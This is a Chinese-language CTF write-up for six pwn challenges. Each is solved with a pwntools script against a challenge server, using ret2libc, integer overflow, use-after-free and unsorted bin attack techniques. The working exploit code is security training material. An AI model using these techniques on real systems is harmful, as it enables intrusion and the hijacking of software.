# pwn1

都说了是测试 nc 了,连上就直接可以拿到 flag

# pwn2

给我们个 password,你再传回去就完了
关键是要仔细读题,看仔细到底哪些是 password

1
2
3
4
5
6
7
from pwn import *
r=remote("219.219.61.234",6666 )
print(r.recvuntil(b'*\n').decode())
p=r.recvuntil(b'\n')[:-1]
print(bytes(p))
r.sendline(bytes(p))
r.interactive()

# pwn3

ret2libc
泄露 libc 中 puts 函数的地址
传入 puts_got,得到 puts 的运行时的地址,
用 libc.symbols [“system”] - libc.symbols [“puts”] 得到 system 和 puts 的距离,
加上之前接收的 puts 运行时的地址,得到 system 运行的地址,
然后直接用 elf.search ('sh\x00').next () 找到 sh 的地址
没开 canary,
0x38, 所以 payload 填 60 个 a, 然后传 system 地址 + sh 地址,就可以 getshell 了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

#r = process(b'./pwn3')
r=remote('219.219.61.234',10003)
elf = ELF(b'./pwn3')
libc = ELF(b'./libc.so.6')

print(r.recv().decode())
puts_got = elf.got['puts']
print(puts_got)

r.send(str(puts_got).encode())
r.recvuntil(b' : ')
puts_addr = int(r.recvuntil(b'\n')[:-1],16)
print(puts_addr)

system_addr = puts_addr + libc.symbols["system"] - libc.symbols["puts"]
print(system_addr)

p = b'a'*60 + p32(system_addr) + p32(0xdeadbeef) + p32(elf.search(b'sh\x00').__next__())
r.recvuntil(b' :')
r.sendline(p)

r.interactive()

# pwn4

没开 canary,但是前两个地方不能栈溢出,
image-20230425232110426
而又观察到 v3 刚好是个 unsigned int8 型的变量,可以利用整数溢出的漏洞,
它的最大值位 255,所以只要保证一共填了 255+4 ~ +8 之间的个数就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

#r = process('./pwn4')
r = remote("219.219.61.234",10004 )

backdoor=0x0804868B
p = b'a'*0x18 + p32(backdoor) + b'a'*(259-0x18-4)

r.recvuntil(b'choice:')
r.sendline(b'1')
r.recvuntil(b'username:')
r.sendline(b'123')
r.recvuntil(b'passwd:')
r.sendline(p)

r.interactive()

# pwn5

Use After Free 漏洞
指针 free 之后没有置空,下次在访问该指针时能访问到原指针所指向的堆内容
添加两个 note 之后,依次释放。再创建大小为 8 的 note 时,内容部分对应被分配到第一个 note 里面,而它的指针没有置空,
所以如果我们在新的 note 里面放后门函数的地址的话,print 新 note 的内容的时候,就会执行这个后门函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *

#r = process(b'./pwn5')
r=remote('219.219.61.234',10000)

backdoor=0x08048986

def add(size,content):
r.recvuntil(b':')
r.sendline(b'1')
r.recvuntil(b':')
r.sendline(str(size))
r.recvuntil(b':')
r.send(content)

def delete(idx):
r.recvuntil(b':')
r.sendline(b'2')
r.recvuntil(b':')
r.sendline(str(idx))

def Print(idx):
r.recvuntil(b':')
r.sendline(b'3')
r.recvuntil(b':')
r.sendline(str(idx))

add(32,'aaaa')
add(32,'aaaa')
delete(0)
delete(1)
add(8,p32(backdoor))
Print(0)

r.interactive()

# pwn6

堆溢出漏洞 + unsorted bin attack
只要控制 v3=4869,同时控制 qword_6020C0 大于 0x1305,就可以了
image-20230425232125920
观察到 v3=2 对应的函数里面有堆溢出漏洞,所以可以利用堆溢出漏洞修改堆块的 bk 指针为 qword_6020C0 的地址 - 16

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *

#r = process('./pwn6')
r = remote("219.219.61.234",10001 )
elf=ELF(B'./pwn6')

def create(size,content):
r.recvuntil(b':')
r.sendline(b'1')
r.recvuntil(b':')
r.sendline(str(size))
r.recvuntil(b':')
r.sendline(content)

def edit(idx,size,content):
r.recvuntil(b':')
r.sendline(b'2')
r.recvuntil(b':')
r.sendline(str(idx))
r.recvuntil(b':')
r.sendline(str(size))
r.recvuntil(b':')
r.sendline(content)

def delete(idx):
r.recvuntil(b':')
r.sendline(b'3')
r.recvuntil(b':')
r.sendline(str(idx))

create(0x20,'aaaa')
create(0x80,'bbbb')
create(0x20,'cccc')

delete(1)

magic = 0x6020C0
fd = 0
bk = magic -0x10

edit(0,0x40,b'a' * 0x20 + p64(0) + p64(0x91) + p64(fd) + p64(bk))

create(0x80,b'aaaa')
r.recvuntil(b':')
r.sendline(b'4869')

r.interactive()